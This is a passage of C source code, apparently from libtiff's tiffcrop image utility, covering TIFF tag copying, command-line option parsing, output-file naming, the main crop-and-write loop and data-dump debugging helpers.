(TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3) #define CopyField4(tag, v1, v2, v3, v4) \ if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4) static void cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type) { switch (type) { case TIFF_SHORT: if (count == 1) { uint16 shortv; CopyField(tag, shortv); } else if (count == 2) { uint16 shortv1, shortv2; CopyField2(tag, shortv1, shortv2); } else if (count == 4) { uint16 *tr, *tg, *tb, *ta; CopyField4(tag, tr, tg, tb, ta); } else if (count == (uint16) -1) { uint16 shortv1; uint16* shortav; CopyField2(tag, shortv1, shortav); } break; case TIFF_LONG: { uint32 longv; CopyField(tag, longv); } break; case TIFF_RATIONAL: if (count == 1) { float floatv; CopyField(tag, floatv); } else if (count == (uint16) -1) { float* floatav; CopyField(tag, floatav); } break; case TIFF_ASCII: { char* stringv; CopyField(tag, stringv); } break; case TIFF_DOUBLE: if (count == 1) { double doublev; CopyField(tag, doublev); } else if (count == (uint16) -1) { double* doubleav; CopyField(tag, doubleav); } break; default: TIFFError(TIFFFileName(in), "Data type %d is not supported, tag %d skipped", tag, type); } } static struct cpTag { uint16 tag; uint16 count; TIFFDataType type; } tags[] = { { TIFFTAG_SUBFILETYPE, 1, TIFF_LONG }, { TIFFTAG_THRESHHOLDING, 1, TIFF_SHORT }, { TIFFTAG_DOCUMENTNAME, 1, TIFF_ASCII }, { TIFFTAG_IMAGEDESCRIPTION, 1, TIFF_ASCII }, { TIFFTAG_MAKE, 1, TIFF_ASCII }, { TIFFTAG_MODEL, 1, TIFF_ASCII }, { TIFFTAG_MINSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_MAXSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_XRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_YRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_PAGENAME, 1, TIFF_ASCII }, { TIFFTAG_XPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_YPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_RESOLUTIONUNIT, 1, TIFF_SHORT }, { TIFFTAG_SOFTWARE, 1, TIFF_ASCII }, { TIFFTAG_DATETIME, 1, TIFF_ASCII }, { TIFFTAG_ARTIST, 1, TIFF_ASCII }, { TIFFTAG_HOSTCOMPUTER, 1, TIFF_ASCII }, { TIFFTAG_WHITEPOINT, (uint16) -1, TIFF_RATIONAL }, { TIFFTAG_PRIMARYCHROMATICITIES,(uint16) -1,TIFF_RATIONAL }, { TIFFTAG_HALFTONEHINTS, 2, TIFF_SHORT }, { TIFFTAG_INKSET, 1, TIFF_SHORT }, { TIFFTAG_DOTRANGE, 2, TIFF_SHORT }, { TIFFTAG_TARGETPRINTER, 1, TIFF_ASCII }, { TIFFTAG_SAMPLEFORMAT, 1, TIFF_SHORT }, { TIFFTAG_YCBCRCOEFFICIENTS, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_YCBCRSUBSAMPLING, 2, TIFF_SHORT }, { TIFFTAG_YCBCRPOSITIONING, 1, TIFF_SHORT }, { TIFFTAG_REFERENCEBLACKWHITE, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_EXTRASAMPLES, (uint16) -1, TIFF_SHORT }, { TIFFTAG_SMINSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_SMAXSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_STONITS, 1, TIFF_DOUBLE }, }; #define NTAGS (sizeof (tags) / sizeof (tags[0])) #define CopyTag(tag, count, type) cpTag(in, out, tag, count, type) /* Functions written by Richard Nolde, with exceptions noted. */ void process_command_opts (int argc, char *argv[], char *mp, char *mode, uint32 *dirnum, uint16 *defconfig, uint16 *deffillorder, uint32 *deftilewidth, uint32 *deftilelength, uint32 *defrowsperstrip, struct crop_mask *crop_data, struct pagedef *page, struct dump_opts *dump, unsigned int *imagelist, unsigned int *image_count ) { int c, good_args = 0; char *opt_offset = NULL; /* Position in string of value sought */ char *opt_ptr = NULL; /* Pointer to next token in option set */ char *sep = NULL; /* Pointer to a token separator */ unsigned int i, j, start, end; #if !HAVE_DECL_OPTARG extern int optind; extern char* optarg; #endif *mp++ = 'w'; *mp = '\0'; while ((c = getopt(argc, argv, "ac:d:e:f:hil:m:p:r:stvw:z:BCD:E:F:H:I:J:K:LMN:O:P:R:S:U:V:X:Y:Z:")) != -1) { good_args++; switch (c) { case 'a': mode[0] = 'a'; /* append to output */ break; case 'c': if (!processCompressOptions(optarg)) /* compression scheme */ { TIFFError ("Unknown compression option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'd': start = strtoul(optarg, NULL, 0); /* initial IFD offset */ if (start == 0) { TIFFError ("","Directory offset must be greater than zero"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *dirnum = start - 1; break; case 'e': switch (tolower((int) optarg[0])) /* image export modes*/ { case 'c': crop_data->exp_mode = ONE_FILE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Composite */ case 'd': crop_data->exp_mode = ONE_FILE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Divided */ case 'i': crop_data->exp_mode = FILE_PER_IMAGE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Image */ case 'm': crop_data->exp_mode = FILE_PER_IMAGE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Multiple */ case 's': crop_data->exp_mode = FILE_PER_SELECTION; crop_data->img_mode = SEPARATED_IMAGES; break; /* Sections */ default: TIFFError ("Unknown export mode","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'f': if (streq(optarg, "lsb2msb")) /* fill order */ *deffillorder = FILLORDER_LSB2MSB; else if (streq(optarg, "msb2lsb")) *deffillorder = FILLORDER_MSB2LSB; else { TIFFError ("Unknown fill order", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'h': usage(); break; case 'i': ignore = TRUE; /* ignore errors */ break; case 'l': outtiled = TRUE; /* tile length */ *deftilelength = atoi(optarg); break; case 'p': /* planar configuration */ if (streq(optarg, "separate")) *defconfig = PLANARCONFIG_SEPARATE; else if (streq(optarg, "contig")) *defconfig = PLANARCONFIG_CONTIG; else { TIFFError ("Unkown planar configuration", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'r': /* rows/strip */ *defrowsperstrip = atol(optarg); break; case 's': /* generate stripped output */ outtiled = FALSE; break; case 't': /* generate tiled output */ outtiled = TRUE; break; case 'v': TIFFError("Library Release", "%s", TIFFGetVersion()); TIFFError ("Tiffcrop version", "%s, last updated: %s", tiffcrop_version_id, tiffcrop_rev_date); TIFFError ("Tiffcp code", "Copyright (c) 1988-1997 Sam Leffler"); TIFFError (" ", "Copyright (c) 1991-1997 Silicon Graphics, Inc"); TIFFError ("Tiffcrop additions", "Copyright (c) 2007-2010 Richard Nolde"); exit (0); break; case 'w': /* tile width */ outtiled = TRUE; *deftilewidth = atoi(optarg); break; case 'z': /* regions of an image specified as x1,y1,x2,y2:x3,y3,x4,y4 etc */ crop_data->crop_mode |= CROP_REGIONS; for (i = 0, opt_ptr = strtok (optarg, ":"); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ":")), i++) { crop_data->regions++; if (sscanf(opt_ptr, "%lf,%lf,%lf,%lf", &crop_data->corners[i].X1, &crop_data->corners[i].Y1, &crop_data->corners[i].X2, &crop_data->corners[i].Y2) != 4) { TIFFError ("Unable to parse coordinates for region", "%d %s", i, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError ("Region list exceeds limit of", "%d regions %s", MAX_REGIONS, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1);; } break; /* options for file open modes */ case 'B': *mp++ = 'b'; *mp = '\0'; break; case 'L': *mp++ = 'l'; *mp = '\0'; break; case 'M': *mp++ = 'm'; *mp = '\0'; break; case 'C': *mp++ = 'c'; *mp = '\0'; break; /* options for Debugging / data dump */ case 'D': for (i = 0, opt_ptr = strtok (optarg, ","); (opt_ptr != NULL); (opt_ptr = strtok (NULL, ",")), i++) { opt_offset = strpbrk(opt_ptr, ":="); if (opt_offset == NULL) { TIFFError("Invalid dump option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *opt_offset = '\0'; /* convert option to lowercase */ end = strlen (opt_ptr); for (i = 0; i < end; i++) *(opt_ptr + i) = tolower((int) *(opt_ptr + i)); /* Look for dump format specification */ if (strncmp(opt_ptr, "for", 3) == 0) { /* convert value to lowercase */ end = strlen (opt_offset + 1); for (i = 1; i <= end; i++) *(opt_offset + i) = tolower((int) *(opt_offset + i)); /* check dump format value */ if (strncmp (opt_offset + 1, "txt", 3) == 0) { dump->format = DUMP_TEXT; strcpy (dump->mode, "w"); } else { if (strncmp(opt_offset + 1, "raw", 3) == 0) { dump->format = DUMP_RAW; strcpy (dump->mode, "wb"); } else { TIFFError("parse_command_opts", "Unknown dump format %s", opt_offset + 1); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } } else { /* Look for dump level specification */ if (strncmp (opt_ptr, "lev", 3) == 0) dump->level = atoi(opt_offset + 1); /* Look for input data dump file name */ if (strncmp (opt_ptr, "in", 2) == 0) { strncpy (dump->infilename, opt_offset + 1, PATH_MAX - 20); dump->infilename[PATH_MAX - 20] = '\0'; } /* Look for output data dump file name */ if (strncmp (opt_ptr, "out", 3) == 0) { strncpy (dump->outfilename, opt_offset + 1, PATH_MAX - 20); dump->outfilename[PATH_MAX - 20] = '\0'; } if (strncmp (opt_ptr, "deb", 3) == 0) dump->debug = atoi(opt_offset + 1); } } if ((strlen(dump->infilename)) || (strlen(dump->outfilename))) { if (dump->level == 1) TIFFError("","Defaulting to dump level 1, no data."); if (dump->format == DUMP_NONE) { TIFFError("", "You must specify a dump format for dump files"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } break; /* image manipulation routine options */ case 'm': /* margins to exclude from selection, uppercase M was already used */ /* order of values must be TOP, LEFT, BOTTOM, RIGHT */ crop_data->crop_mode |= CROP_MARGINS; for (i = 0, opt_ptr = strtok (optarg, ",:"); ((opt_ptr != NULL) && (i < 4)); (opt_ptr = strtok (NULL, ",:")), i++) { crop_data->margins[i] = atof(opt_ptr); } break; case 'E': /* edge reference */ switch (tolower((int) optarg[0])) { case 't': crop_data->edge_ref = EDGE_TOP; break; case 'b': crop_data->edge_ref = EDGE_BOTTOM; break; case 'l': crop_data->edge_ref = EDGE_LEFT; break; case 'r': crop_data->edge_ref = EDGE_RIGHT; break; default: TIFFError ("Edge reference must be top, bottom, left, or right", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'F': /* flip eg mirror image or cropped segment, M was already used */ crop_data->crop_mode |= CROP_MIRROR; switch (tolower((int) optarg[0])) { case 'h': crop_data->mirror = MIRROR_HORIZ; break; case 'v': crop_data->mirror = MIRROR_VERT; break; case 'b': crop_data->mirror = MIRROR_BOTH; break; default: TIFFError ("Flip mode must be horiz, vert, or both", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'H': /* set horizontal resolution to new value */ page->hres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'I': /* invert the color space, eg black to white */ crop_data->crop_mode |= CROP_INVERT; /* The PHOTOMETIC_INTERPRETATION tag may be updated */ if (streq(optarg, "black")) { crop_data->photometric = PHOTOMETRIC_MINISBLACK; continue; } if (streq(optarg, "white")) { crop_data->photometric = PHOTOMETRIC_MINISWHITE; continue; } if (streq(optarg, "data")) { crop_data->photometric = INVERT_DATA_ONLY; continue; } if (streq(optarg, "both")) { crop_data->photometric = INVERT_DATA_AND_TAG; continue; } TIFFError("Missing or unknown option for inverting PHOTOMETRIC_INTERPRETATION", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); break; case 'J': /* horizontal margin for sectioned ouput pages */ page->hmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'K': /* vertical margin for sectioned ouput pages*/ page->vmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'N': /* list of images to process */ for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_IMAGES)); (opt_ptr = strtok (NULL, ","))) { /* We do not know how many images are in file yet * so we build a list to include the maximum allowed * and follow it until we hit the end of the file. * Image count is not accurate for odd, even, last * so page numbers won't be valid either. */ if (streq(opt_ptr, "odd")) { for (j = 1; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = (MAX_IMAGES - 1) / 2; break; } else { if (streq(opt_ptr, "even")) { for (j = 2; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = MAX_IMAGES / 2; break; } else { if (streq(opt_ptr, "last")) imagelist[i++] = MAX_IMAGES; else /* single value between commas */ { sep = strpbrk(opt_ptr, ":-"); if (!sep) imagelist[i++] = atoi(opt_ptr); else { *sep = '\0'; start = atoi (opt_ptr); if (!strcmp((sep + 1), "last")) end = MAX_IMAGES; else end = atoi (sep + 1); for (j = start; j <= end && j - start + i < MAX_IMAGES; j++) imagelist[i++] = j; } } } } } *image_count = i; break; case 'O': /* page orientation */ switch (tolower((int) optarg[0])) { case 'a': page->orient = ORIENTATION_AUTO; break; case 'p': page->orient = ORIENTATION_PORTRAIT; break; case 'l': page->orient = ORIENTATION_LANDSCAPE; break; default: TIFFError ("Orientation must be portrait, landscape, or auto.", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'P': /* page size selection */ if (sscanf(optarg, "%lfx%lf", &page->width, &page->length) == 2) { strcpy (page->name, "Custom"); page->mode |= PAGE_MODE_PAPERSIZE; break; } if (get_page_geometry (optarg, page)) { if (!strcmp(optarg, "list")) { TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } TIFFError ("Invalid paper size", "%s", optarg); TIFFError ("", "Select one of:"); TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } else { page->mode |= PAGE_MODE_PAPERSIZE; } break; case 'R': /* rotate image or cropped segment */ crop_data->crop_mode |= CROP_ROTATE; switch (strtoul(optarg, NULL, 0)) { case 90: crop_data->rotation = (uint16)90; break; case 180: crop_data->rotation = (uint16)180; break; case 270: crop_data->rotation = (uint16)270; break; default: TIFFError ("Rotation must be 90, 180, or 270 degrees clockwise", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'S': /* subdivide into Cols:Rows sections, eg 3:2 would be 3 across and 2 down */ sep = strpbrk(optarg, ",:"); if (sep) { *sep = '\0'; page->cols = atoi(optarg); page->rows = atoi(sep +1); } else { page->cols = atoi(optarg); page->rows = atoi(optarg); } if ((page->cols * page->rows) > MAX_SECTIONS) { TIFFError ("Limit for subdivisions, ie rows x columns, exceeded", "%d", MAX_SECTIONS); exit (-1); } page->mode |= PAGE_MODE_ROWSCOLS; break; case 'U': /* units for measurements and offsets */ if (streq(optarg, "in")) { crop_data->res_unit = RESUNIT_INCH; page->res_unit = RESUNIT_INCH; } else if (streq(optarg, "cm")) { crop_data->res_unit = RESUNIT_CENTIMETER; page->res_unit = RESUNIT_CENTIMETER; } else if (streq(optarg, "px")) { crop_data->res_unit = RESUNIT_NONE; page->res_unit = RESUNIT_NONE; } else { TIFFError ("Illegal unit of measure","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'V': /* set vertical resolution to new value */ page->vres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'X': /* selection width */ crop_data->crop_mode |= CROP_WIDTH; crop_data->width = atof(optarg); break; case 'Y': /* selection length */ crop_data->crop_mode |= CROP_LENGTH; crop_data->length = atof(optarg); break; case 'Z': /* zones of an image X:Y read as zone X of Y */ crop_data->crop_mode |= CROP_ZONES; for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ",")), i++) { crop_data->zones++; opt_offset = strchr(opt_ptr, ':'); if (!opt_offset) { TIFFError("Wrong parameter syntax for -Z", "tiffcrop -h"); exit(-1); } *opt_offset = '\0'; crop_data->zonelist[i].position = atoi(opt_ptr); crop_data->zonelist[i].total = atoi(opt_offset + 1); } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError("Zone list exceeds region limit", "%d", MAX_REGIONS); exit (-1); } break; case '?': TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); /*NOTREACHED*/ } } } /* end process_command_opts */ /* Start a new output file if one has not been previously opened or * autoindex is set to non-zero. Update page and file counters * so TIFFTAG PAGENUM will be correct in image. */ static int update_output_file (TIFF **tiffout, char *mode, int autoindex, char *outname, unsigned int *page) { static int findex = 0; /* file sequence indicator */ char *sep; char filenum[16]; char export_ext[16]; char exportname[PATH_MAX]; if (autoindex && (*tiffout != NULL)) { /* Close any export file that was previously opened */ TIFFClose (*tiffout); *tiffout = NULL; } strcpy (export_ext, ".tiff"); memset (exportname, '\0', PATH_MAX); /* Leave room for page number portion of the new filename */ strncpy (exportname, outname, PATH_MAX - 16); if (*tiffout == NULL) /* This is a new export file */ { if (autoindex) { /* create a new filename for each export */ findex++; if ((sep = strstr(exportname, ".tif")) || (sep = strstr(exportname, ".TIF"))) { strncpy (export_ext, sep, 5); *sep = '\0'; } else strncpy (export_ext, ".tiff", 5); export_ext[5] = '\0'; /* MAX_EXPORT_PAGES limited to 6 digits to prevent string overflow of pathname */ if (findex > MAX_EXPORT_PAGES) { TIFFError("update_output_file", "Maximum of %d pages per file exceeded", MAX_EXPORT_PAGES); return 1; } snprintf(filenum, sizeof(filenum), "-%03d%s", findex, export_ext); filenum[14] = '\0'; strncat (exportname, filenum, 15); } exportname[PATH_MAX - 1] = '\0'; *tiffout = TIFFOpen(exportname, mode); if (*tiffout == NULL) { TIFFError("update_output_file", "Unable to open output file %s", exportname); return 1; } *page = 0; return 0; } else (*page)++; return 0; } /* end update_output_file */ int main(int argc, char* argv[]) { #if !HAVE_DECL_OPTARG extern int optind; #endif uint16 defconfig = (uint16) -1; uint16 deffillorder = 0; uint32 deftilewidth = (uint32) 0; uint32 deftilelength = (uint32) 0; uint32 defrowsperstrip = (uint32) 0; uint32 dirnum = 0; TIFF *in = NULL; TIFF *out = NULL; char mode[10]; char *mp = mode; /** RJN additions **/ struct image_data image; /* Image parameters for one image */ struct crop_mask crop; /* Cropping parameters for all images */ struct pagedef page; /* Page definition for output pages */ struct pageseg sections[MAX_SECTIONS]; /* Sections of one output page */ struct buffinfo seg_buffs[MAX_SECTIONS]; /* Segment buffer sizes and pointers */ struct dump_opts dump; /* Data dump options */ unsigned char *read_buff = NULL; /* Input image data buffer */ unsigned char *crop_buff = NULL; /* Crop area buffer */ unsigned char *sect_buff = NULL; /* Image section buffer */ unsigned char *sect_src = NULL; /* Image section buffer pointer */ unsigned int imagelist[MAX_IMAGES + 1]; /* individually specified images */ unsigned int image_count = 0; unsigned int dump_images = 0; unsigned int next_image = 0; unsigned int next_page = 0; unsigned int total_pages = 0; unsigned int total_images = 0; unsigned int end_of_input = FALSE; int seg, length; char temp_filename[PATH_MAX + 1]; little_endian = *((unsigned char *)&little_endian) & '1'; initImageData(&image); initCropMasks(&crop); initPageSetup(&page, sections, seg_buffs); initDumpOptions(&dump); process_command_opts (argc, argv, mp, mode, &dirnum, &defconfig, &deffillorder, &deftilewidth, &deftilelength, &defrowsperstrip, &crop, &page, &dump, imagelist, &image_count); if (argc - optind < 2) usage(); if ((argc - optind) == 2) pageNum = -1; else total_images = 0; /* read multiple input files and write to output file(s) */ while (optind < argc - 1) { in = TIFFOpen (argv[optind], "r"); if (in == NULL) return (-3); /* If only one input file is specified, we can use directory count */ total_images = TIFFNumberOfDirectories(in); if (image_count == 0) { dirnum = 0; total_pages = total_images; /* Only valid with single input file */ } else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; /* Total pages only valid for enumerated list of pages not derived * using odd, even, or last keywords. */ if (image_count > total_images) image_count = total_images; total_pages = image_count; } /* MAX_IMAGES is used for special case "last" in selection list */ if (dirnum == (MAX_IMAGES - 1)) dirnum = total_images - 1; if (dirnum > (total_images)) { TIFFError (TIFFFileName(in), "Invalid image number %d, File contains only %d images", (int)dirnum + 1, total_images); if (out != NULL) (void) TIFFClose(out); return (1); } if (dirnum != 0 && !TIFFSetDirectory(in, (tdir_t)dirnum)) { TIFFError(TIFFFileName(in),"Error, setting subdirectory at %d", dirnum); if (out != NULL) (void) TIFFClose(out); return (1); } end_of_input = FALSE; while (end_of_input == FALSE) { config = defconfig; compression = defcompression; predictor = defpredictor; fillorder = deffillorder; rowsperstrip = defrowsperstrip; tilewidth = deftilewidth; tilelength = deftilelength; g3opts = defg3opts; if (dump.format != DUMP_NONE) { /* manage input and/or output dump files here */ dump_images++; length = strlen(dump.infilename); if (length > 0) { if (dump.infile != NULL) fclose (dump.infile); /* dump.infilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-read-%03d.%s", dump.infilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.infile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.infile, dump.format, "Reading image","%d from %s", dump_images, TIFFFileName(in)); } length = strlen(dump.outfilename); if (length > 0) { if (dump.outfile != NULL) fclose (dump.outfile); /* dump.outfilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-write-%03d.%s", dump.outfilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.outfile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.outfile, dump.format, "Writing image","%d from %s", dump_images, TIFFFileName(in)); } } if (dump.debug) TIFFError("main", "Reading image %4d of %4d total pages.", dirnum + 1, total_pages); if (loadImage(in, &image, &dump, &read_buff)) { TIFFError("main", "Unable to load source image"); exit (-1); } /* Correct the image orientation if it was not ORIENTATION_TOPLEFT. */ if (image.adjustments != 0) { if (correct_orientation(&image, &read_buff)) TIFFError("main", "Unable to correct image orientation"); } if (getCropOffsets(&image, &crop, &dump)) { TIFFError("main", "Unable to define crop regions"); exit (-1); } if (crop.selections > 0) { if (processCropSelections(&image, &crop, &read_buff, seg_buffs)) { TIFFError("main", "Unable to process image selections"); exit (-1); } } else /* Single image segment without zones or regions */ { if (createCroppedImage(&image, &crop, &read_buff, &crop_buff)) { TIFFError("main", "Unable to create output image"); exit (-1); } } if (page.mode == PAGE_MODE_NONE) { /* Whole image or sections not based on output page size */ if (crop.selections > 0) { writeSelections(in, &out, &crop, &image, &dump, seg_buffs, mp, argv[argc - 1], &next_page, total_pages); } else /* One file all images and sections */ { if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeCroppedImage(in, out, &image, &dump,crop.combined_width, crop.combined_length, crop_buff, next_page, total_pages)) { TIFFError("main", "Unable to write new image"); exit (-1); } } } else { /* If we used a crop buffer, our data is there, otherwise it is * in the read_buffer */ if (crop_buff != NULL) sect_src = crop_buff; else sect_src = read_buff; /* Break input image into pages or rows and columns */ if (computeOutputPixelOffsets(&crop, &image, &page, sections, &dump)) { TIFFError("main", "Unable to compute output section data"); exit (-1); } /* If there are multiple files on the command line, the final one is assumed * to be the output filename into which the images are written. */ if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeImageSections(in, out, &image, &page, sections, &dump, sect_src, &sect_buff)) { TIFFError("main", "Unable to write image sections"); exit (-1); } } /* No image list specified, just read the next image */ if (image_count == 0) dirnum++; else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; } if (dirnum == MAX_IMAGES - 1) dirnum = TIFFNumberOfDirectories(in) - 1; if (!TIFFSetDirectory(in, (tdir_t)dirnum)) end_of_input = TRUE; } TIFFClose(in); optind++; } /* If we did not use the read buffer as the crop buffer */ if (read_buff) _TIFFfree(read_buff); if (crop_buff) _TIFFfree(crop_buff); if (sect_buff) _TIFFfree(sect_buff); /* Clean up any segment buffers used for zones or regions */ for (seg = 0; seg < crop.selections; seg++) _TIFFfree (seg_buffs[seg].buffer); if (dump.format != DUMP_NONE) { if (dump.infile != NULL) fclose (dump.infile); if (dump.outfile != NULL) { dump_info (dump.outfile, dump.format, "", "Completed run for %s", TIFFFileName(out)); fclose (dump.outfile); } } TIFFClose(out); return (0); } /* end main */ /* Debugging functions */ static int dump_data (FILE *dumpfile, int format, char *dump_tag, unsigned char *data, uint32 count) { int j, k; uint32 i; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (i = 0; i < count; i++) { for (j = 0, k = 7; j < 8; j++, k--) { bitset = (*(data + i)) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s", dump_array); } fprintf (dumpfile,"\n"); } else { if ((fwrite (data, 1, count, dumpfile)) != count) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_byte (FILE *dumpfile, int format, char *dump_tag, unsigned char data) { int j, k; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 7; j < 8; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 1, 1, dumpfile)) != 1) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_short (FILE *dumpfile, int format, char *dump_tag, uint16 data) { int j, k; char dump_array[20]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 15; k >= 0; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[17] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 2, 1, dumpfile)) != 2) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_long (FILE *dumpfile, int format, char *dump_tag, uint32 data) { int j, k; char dump_array[40]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 31; k >= 0; j++, k--) { bitset = data & (((uint32)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[35] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 4, 1, dumpfile)) != 4) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_wide (FILE *dumpfile, int format, char *dump_tag, uint64 data) { int j, k; char dump_array[80]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 63; k >= 0; j++, k--) { bitset = data & (((uint64)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[71] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 8, 1, dumpfile)) != 8) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static void dump_info(FILE *dumpfile, int format, char *prefix, char *msg, ...) { if (format == DUMP_TEXT) { va_list ap; va_start(ap, msg); fprintf(dumpfile, "%s ", prefix); vfprintf(dumpfile, msg, ap); fprintf(dumpfile, "\n"); va_end(ap); } } static int dump_buffer (FILE* dumpfile, int format, uint32 rows, uint32 width, uint32 row, unsigned char *buff) { int j, k; uint32 i; unsigned char * dump_ptr; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } for (i = 0; i < rows; i++) { dump_ptr = buff + (i * width); if (format == DUMP_TEXT) dump_info (dumpfile, format, "", "Row %4d, %d bytes at offset %d", row + i + 1, width, row * width); for (j = 0, k = width; k >= 10; j += 10, k -= 10, dump_ptr += 10) dump_data (dumpfile, format, "", dump_ptr, 10); if (k > 0) dump_data (dumpfile, format, "", dump_ptr, k); } return (0); } /* Extract one or more samples from an interleaved buffer. If count == 1, * only the sample plane indicated by sample will be extracted. 